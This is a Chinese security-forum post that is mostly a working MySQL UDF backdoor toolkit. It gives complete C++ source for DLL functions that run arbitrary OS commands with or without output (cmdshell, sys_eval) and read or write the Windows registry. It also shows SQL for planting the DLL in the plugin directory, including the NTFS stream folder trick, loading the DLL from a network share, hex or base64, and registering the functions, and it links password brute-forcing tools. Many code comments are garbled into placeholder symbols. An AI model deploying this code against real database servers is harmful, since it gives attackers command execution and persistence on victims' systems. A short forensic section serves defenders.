Mysql UDF BackDoor

zzzhhh / 2018-05-30 20:45:47 / 浏览数 7934 安全工具 工具 顶(0) 踩(0)

1、MySQL UDF是什么

UDF是Mysql提供给用户实现自己功能的一个接口，为了使UDF机制起作用，函数必须用C或C++编写，并且操作系统必须支持动态加载。这篇文章主要介绍UDF开发和利用的方法。

2、UDF开发

操作系统:Windows 10

测试环境：PHPStudy+Mysql 5.5(x64)

编译器：VS2015

2.1 编译器方法

- MySQL源码包

从MySQL官网下载对应版本的源码包，把MySQL对应版本的源码下载回来。将include文件夹和lib文件夹解压至C++项目路径。

http://mirror.yandex.ru/mirrors/ftp.mysql.com/Downloads/MySQL-5.5/mysql-5.5.59-winx64.zip

VS2015配置-项目属性

将MySQL的include、lib文件夹放到C++项目路径后。属性配置如下：

- include：VC++目录->包含目录->添加include目录
- lib：VC++目录->库目录->添加lib目录
- libmysql.lib：链接器->附加依赖项->添加libmysql.lib

2.2 调试方法

UDF在程序代码中加入调试OutputDebugStringA();就可以输出调试的信息了。在每个分支都输出相对应的调试信息，就可以获取当前运行的状态。

```
OutputDebugStringA("--UDF:my_name()■■■");
```

2.3 使用UDF扩展

```
// ■■■■
CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c++.dll";
// ■■■■
Drop function about;
// ■■■■
select about();
// ■■
select * from mysql.func where name = 'cmdshell';
```

2.4 CPP源码思路

- 执行CMDSHELL
  使用方式：

```
# ■■cmdshell■■
CREATE FUNCTION cmdshell RETURNS int SONAME "mysql_udf_c++.dll";
# ■■shell■■■■■■■■■■■■■■■mysql■data■■■■■■■"D:\phpStudy\MySQL\data\helllo.txt"
select cmdshell("echo hello>>helllo.txt");
# ■■cmshell■■■■
Drop function cmdshell;
```

CPP源码如下：

```
#include <winsock.h>
#include <mysql.h>
#ifndef UNICODE
#define UNICODE
```

```
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h>
#include <lm.h>


//--------cmdshell
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid,
   UDF_ARGS *args,
   char *message)
{   //■■■■
   unsigned int i = 0;
   if (args->arg_count == 1
       && args->arg_type[i] == STRING_RESULT) {
       // ■■■■
       return 0;
   }
   else {
       strcpy(
           message
           , "Expected exactly one string type parameter"
           );
       //■■■■
       return 1;
   }
}
extern "C" __declspec(dllexport)my_ulonglong cmdshell(UDF_INIT *initid,
   UDF_ARGS *args,
   char *result,
   char *error)
{
   // ■■sysytem■■■■■■
   // ■■“net user >> hello.txt”■■■■■■■■D:\phpStudy\MySQL\data\hello.txt
   // ■■■■■■■■select cmdshell("1");■■■■MySQL■■■■■
   return system(args->args[0]);

}
extern "C" __declspec(dllexport)void cmdshell_deinit(
   UDF_INIT *initid)
{

   if (initid->ptr)
   {
       free(initid->ptr);
   }
}
```

- 回显shell

回显shell编写尝试，跟没有回显的shell执行命令是一样的原理。
核心原理是创建一个管道，把命令结果输入管道读取出来后关闭管道。

使用方式：

```
# ■■sys_eval■■
CREATE FUNCTION sys_eval RETURNS string SONAME "mysql_udf_c++.dll";
# ■■shell■■■■■■■■■■■■■■■mysql■data■■■■■■■■"D:\phpStudy\MySQL\data\helllo.txt"
select sys_eval("echo hello>>helllo.txt");
# ■■cmshell■■■■■
Drop function sys_eval;
```

CPP源码如下：

```
#include <winsock.h>
#include <mysql.h>


#ifndef UNICODE
```

```
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h>
#include <lm.h>


//--------
extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid,
   UDF_ARGS *args,
   char *message)
{   //■■■■
   unsigned int i = 0;
   if (args->arg_count == 1
       && args->arg_type[i] == STRING_RESULT) {
       return 0;
   }
   else {
       strcpy(
           message
           , "Expected exactly one string type parameter"
           );
       return 1;
   }
}
extern "C" __declspec(dllexport)char*  sys_eval(UDF_INIT *initid
   , UDF_ARGS *args
   , char* result
   , unsigned long* length
   , char *is_null
   , char *error)
{
   FILE *pipe;
   char buff[1024];
   unsigned long outlen, linelen;

   // ■■■■
   result = (char*)malloc(sizeof(char));
   outlen = 0;
   // ■■■■
   pipe = _popen(args->args[0], "r");
   // ■■■■■■
   while (fgets(buff, sizeof(buff), pipe) != NULL) {
       linelen = strlen(buff);
       result = (char*)realloc(result, outlen + linelen);
       // ■■■■■■■■■■■■■
       strncpy(result + outlen, buff, linelen);
       outlen = outlen + linelen;
   }
   // ■■■■
   _pclose(pipe);

   // ■*is_null■■■■1■■■■■■NULL
   if (!(*result) || result == NULL) {
       *is_null = 1;
   }
   else {
       result[outlen] = 0x00;
       *length = strlen(result);
   }
   // ■■■■
   return result;

}
extern "C" __declspec(dllexport)void sys_eval_deinit(
   UDF_INIT *initid)
{
```

```
   if (initid->ptr)
   {
       free(initid->ptr);
   }
}
```

- 注册表操作

核心代码主要是以下几个注册表操作相关的API实现的

```
RegQueryInfoKey
RegEnumValue
RegQueryValueEx
RegCloseKey
RegCreateKeyEx
RegSetValueEx
RegCloseKey
```

- 注册表读取

使用方式：

```
# ■■regread■■
CREATE FUNCTION regread RETURNS string SONAME "mysql_udf_c++.dll";
# ■■regread■■
select regread("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","Start Page");
# ■■regread■■■■
Drop function regread;
```

CPP源码如下：

```
#include <winsock.h>
#include <mysql.h>

#include <stdio.h>
#include <windows.h>


#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383

//--------
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid,
   UDF_ARGS *args,
   char *message)
{

   //■■■■■■■■,■■■■■■■■■■
   if (args->arg_type[0] == STRING_RESULT &&  // ■■
       args->arg_type[1] == STRING_RESULT &&  // ■■
       args->arg_type[2] == STRING_RESULT     // ■■
       )
   {
       return 0;
   }
   else {
       strcpy(
           message
           , "Expected exactly Three string type parameter"
           );
       return 1;
   }
}
extern "C" __declspec(dllexport)char*  regread(UDF_INIT *initid
   , UDF_ARGS *args
   , char* result
   , unsigned long* length
   , char *is_null
   , char *error)
```

```
{
    HKEY hRoot;
    // ■■■■
    if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
        hRoot = HKEY_LOCAL_MACHINE;
    else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
        hRoot = HKEY_CLASSES_ROOT;
    else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
        hRoot = HKEY_CURRENT_USER;
    else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
        hRoot = HKEY_USERS;
    else
    {
        initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
        sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
        *length = strlen(initid->ptr);
        return initid->ptr;
    }


    // ■■■■■■■■
    // ■■■■ char■wchar
    int len = MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
    wchar_t*    m_wchar = new wchar_t[len + 1];
    MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), m_wchar, len);
    m_wchar[len] = '\0';
    HKEY aTestKey = NULL;
    DWORD dwType = REG_SZ;
    if (RegOpenKeyEx(hRoot,
        m_wchar,
        0,
        KEY_READ,
        &aTestKey) != ERROR_SUCCESS
        )
    {
        initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
        sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
        *length = strlen(initid->ptr);
        return initid->ptr;
    }



    // ■■■■■
    TCHAR    achClass[MAX_PATH] = TEXT("");  // ■■■■■■■■■■■■■■■■■■■■■
    DWORD    cchClassName = MAX_PATH;        // ■■■■■■■■■■■■lpClass■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    DWORD    cSubKeys = 0;                   // ■■■■■
    DWORD    cbMaxSubKey;                    // ■■■■■■■■
    DWORD    cchMaxClass;                    // ■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    DWORD    cValues;                        // ■■■■■■■■■■■■■■■■■■■
    DWORD    cchMaxValue;                    // value■■■■■
    DWORD    cbMaxValueData;                 // value■■■■■
    DWORD    cbSecurityDescriptor;           // ■■■■■■■■
    FILETIME ftLastWriteTime;                // ■■■■■■■

    DWORD i, retCode;
    DWORD dwSize;
    TCHAR *wStr = new TCHAR[MAX_VALUE_NAME];
    TCHAR  achValue[MAX_VALUE_NAME];
    TCHAR  data[MAX_VALUE_NAME];
    DWORD cchValue = MAX_VALUE_NAME;
    DWORD dBufSize;   //■■■■■■

    // Get the class name and the value count.
    retCode = RegQueryInfoKey(
        aTestKey,                // ■■■■
        achClass,                // ■■■■■■■■■■■■■■■■■■■■■
        &cchClassName,           // ■■■■■■■■■■■■lpClass■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
        NULL,                    // reserved
```

```
    &cSubKeys,              // ■■■■■■■■■■■■■■■■■■■■■■
    &cbMaxSubKey,           // ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    &cchMaxClass,           // ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    &cValues,               // ■■■■■■■■■■■■■■■■■■■■
    &cchMaxValue,           // ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    &cbMaxValueData,        // ■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
    &cbSecurityDescriptor,  // ■■■■■■■■■■■■■■■■
    &ftLastWriteTime);      // ■■■■■■■■■■■■■■■■■■■■■■

// ■■■■.
// ■■■■■■■■
if (cValues)
{
    for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
    {
        cchValue = MAX_VALUE_NAME;
        dwSize = MAX_VALUE_NAME;
        achValue[0] = '\0';
        data[0] = '\0';
        retCode = RegEnumValue(aTestKey, i,
            wStr,
            &cchValue,
            NULL,
            NULL,
            NULL,
            NULL);
        RegQueryValueEx(aTestKey, wStr,
            NULL,
            &dwType,
            (LPBYTE)data,
            &dwSize);


        // ■■■■■ char■wchar
        int len = MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), NULL, 0);
        wchar_t*    m_wchar = new wchar_t[len + 1];
        MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), m_wchar, len);
        m_wchar[len] = '\0';


        if (retCode == ERROR_SUCCESS && wcscmp(wStr, m_wchar) == 0)
        {
            //printf("\n■■■%ls\n■■■%ls", wStr, data);

            //■■■■■■■■■■■■■■■
            dBufSize = WideCharToMultiByte(CP_OEMCP, 0, data, -1, NULL, 0, NULL, FALSE);

            //■■■■■■■
            result = new char[dBufSize];
            memset(result, 0, dBufSize);
            //■■
            int nRet = WideCharToMultiByte(CP_OEMCP, 0, data, -1, result, dBufSize, NULL, FALSE);

        }
    }
}
delete[]wStr;
RegCloseKey(aTestKey);



// ■*is_null■■■■1■■■■■■NULL
if (!(*result) || result == NULL) {
    *is_null = 1;
}
else {
    result[dBufSize] = 0x00;
    *length = strlen(result);
}
```

```
   // ■■■■
   return result;
}
extern "C" __declspec(dllexport)void regread_deinit(
   UDF_INIT *initid)
{

   if (initid->ptr)
   {
       free(initid->ptr);
   }
}
```

- 注册表写入
  使用方式：

```
# ■■regread■■
CREATE FUNCTION regwrite RETURNS string SONAME "mysql_udf_c++.dll";
# ■■regread■■
select regwrite("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","test","www.baidu.com");
# ■■regread■■■■
Drop function regwrite;
```

CPP源码如下：

```
#include <winsock.h>
#include <mysql.h>

#include <stdio.h>
#include <windows.h>

//--------
extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid,
   UDF_ARGS *args,
   char *message)
{

   //■■■■■■■■,■■■■■■■■■■
   if (args->arg_type[0] == STRING_RESULT &&  // ■■
       args->arg_type[1] == STRING_RESULT &&  // ■■
       args->arg_type[2] == STRING_RESULT &&  // ■
       args->arg_type[3] == STRING_RESULT     // ■■■■
       )
   {
       return 0;
   }
   else {
       strcpy(
           message
           , "Expected exactly four string type parameter"
           );
       return 1;
   }
}
extern "C" __declspec(dllexport)char*  regwrite(UDF_INIT *initid
   , UDF_ARGS *args
   , char* result
   , unsigned long* length
   , char *is_null
   , char *error)
{



   HKEY hRoot;
   // ■■■■
   if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
       hRoot = HKEY_LOCAL_MACHINE;
   else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
       hRoot = HKEY_CLASSES_ROOT;
```

```
else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
    hRoot = HKEY_CURRENT_USER;
else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
    hRoot = HKEY_USERS;
else
{
    initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
    sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
    *length = (unsigned long)strlen(initid->ptr);
    return initid->ptr;
}

HKEY hKey;
DWORD dwType = REG_SZ;
// ■■■■■■■■■■■■■■■

// ■■■■■■■■■
// szSubKey■■■■■ char■wchar
int szSubKey_len = (int)MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
wchar_t*    szSubKey = new wchar_t[szSubKey_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), szSubKey, szSubKey_len);
szSubKey[szSubKey_len] = '\0';

size_t lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (lRet != ERROR_SUCCESS)
{
    initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
    sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
    *length = (unsigned long)strlen(initid->ptr);
    return initid->ptr;
}

// ■■■■■■■■■■■■■■■
// ValueName■■■■■■■■ char■wchar
int ValueName_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), NULL, 0);
wchar_t*   ValueName = new wchar_t[ValueName_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), ValueName, ValueName_len);
ValueName[ValueName_len] = '\0';

//// ■■■■■■■■■■ char■wchar
int data_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), NULL, 0);
wchar_t*  data = new wchar_t[data_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), data, data_len);
data[data_len] = '\0';
// ■■■■■■■■■
DWORD iLen = (DWORD)wcslen(data);

//■■■■■■■■
lRet = RegSetValueEx(hKey, ValueName, 0, dwType, (unsigned char*)data, sizeof(wchar_t)*data_len);
if (lRet != ERROR_SUCCESS)
{
    initid->ptr = (char *)malloc(50 + strlen((args->args)[2]));
    sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[2]);
    *length = (unsigned long)strlen(initid->ptr);
    return initid->ptr;
}
RegCloseKey(hKey);


// ■*is_null■■■■1■■■■■■NULL
if (!(*result) || result == NULL) {
    *is_null = 1;

}
else {
    sprintf(result, "success");
    result[iLen] = 0x00;
    *length = strlen(result);
}
```

```
   // ■■■■
   return result;
}
extern "C" __declspec(dllexport)void regwrite_deinit(
   UDF_INIT *initid)
{

   if (initid->ptr)
   {
       free(initid->ptr);
   }
}
```

3、UDF加载方法

UDF有两种加载方式，一种是修改修改MySQL配置文件。第二种则是将UDF放置在MySQL指定的插件目录中加载。

3.1 修改MySQL配置文件

另一种方法是用插件目录编写一个新的MySQL配置文件并将其传递给mysqld。

启动参数配置

```
// ■■mysqld■■plugin■■■■■
mysqld.exe –plugin-dir=C:\\temp\\plugins\\
// ■■■■■■■mysql■■■■■■■■–defaults-file■■■■■■■■mysqld
mysqld.exe --defaults-file=C:\temp\my.ini
```

my.ini配置

```
[mysqld]
plugin_dir = C:\\temp\\plugins\\
```

3.2 新建插件目录

```
show variables like 'plugin_dir';   # ■■■■

select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION';          # ■■■■lib

select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib\plugin::$INDEX_ALLOCATION';  # ■■■■plugin
```

3.3 导出UDF文件置扩展目录

load_file函数

- load_file函数支持网络路径，如果将DLL复制到网络共享中，则可以直接加载它并写入磁盘。

```
select load_file('\\\\192.168.0.19\\share\\udf.dll') into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
```

- 用一个十六进制编码的字符串将整个DLL文件写入磁盘。

```
// ■■■hex■■
select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex";
// ■■
select 0x4d5a...... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
```

- 创建一个表并将二进制数据插入到十六进制编码流中，其中的二进制数据用update语句来连接。

```
create table temp(data longblob);
insert into temp(data) values (0x4d5a9....);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b37
```

- 直接在磁盘上将文件从网络共享加载到第三种方法创建的表中，使用“load data infile”语句在本地加载。像上图所示将文件转换为十六进制，并在写入磁盘时取消编辑。

```
load data infile '\\\\192.168.0.19\\share\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by '
select unhex(data) from temp into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';
```

- 使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。

```
# ■■■base64
select to_base64(load_file('D:\\udf.dll'));

# base64■■■DLL
select from_base64("Base64■■") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"■
```

4、Mysql弱口令

4.1 暴力破解程序

工具：hydra

CPP

用链表实现的MYSQL、MSSQL和oracle密码暴破C程序

http://blog.51cto.com/foxhack/35604

- Python

https://github.com/chinasun021/pwd_crack/blob/master/mysql/mysql_crack.py

https://www.waitalone.cn/python-mysql-mult.html

- Go

https://github.com/netxfly/x-crack

4.2 MySQL口令加密解密

5、WEB组合利用

5.1 后门方法

导出Mof

5.2 WEB渗透测试扩展

php探针、PHPMyadmin

6、取证分析

```
// ■■■■■■
select @@version_compile_os,@@version_compile_machine,@@plugin_dir;

// ■■■■■■■
select * from mysql.func;
```

7、参考

Mysql函数扩展之UDF开发

https://blog.csdn.net/albertsh/article/details/78567661

VS2015配置C/C++-MySQL开发环境

https://blog.csdn.net/daso_csdn/article/details/54646859

MySQL UDF（自定义函数）

https://www.cnblogs.com/raker/p/4377343.html

MySQL UDF的调试方式 - debugview
https://blog.csdn.net/swotcoder/article/details/18527

详详详解MySQL UDF执行命令

http://www.360doc.cn/article/31784658_733287732.html

利用MySQL UDF进行的一次渗透测试
https://m.sohu.com/a/224950139_354899/?pvid=000115_3w_a

24.4.2.2 UDF Calling Sequences for Aggregate Functions

https://dev.mysql.com/doc/refman/5.5/en/udf-aggr-calling.html

windows下编写mysql UDF函数的失败经历，与ubuntu下的成功编译经历

https://blog.csdn.net/watch_ch/article/details/54015948

开源项目

https://github.com/mysqludf/lib_mysqludf_sys

8、UDF写注册表源码

C++_Mysql开发_UDF写注册表.rar (0.268 MB) 下载附件
点击收藏 | 1 关注 | 1
上一篇：Bundle风水——Android... 下一篇：Gitlab远程代码执行漏洞
1. 0 条回复
- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板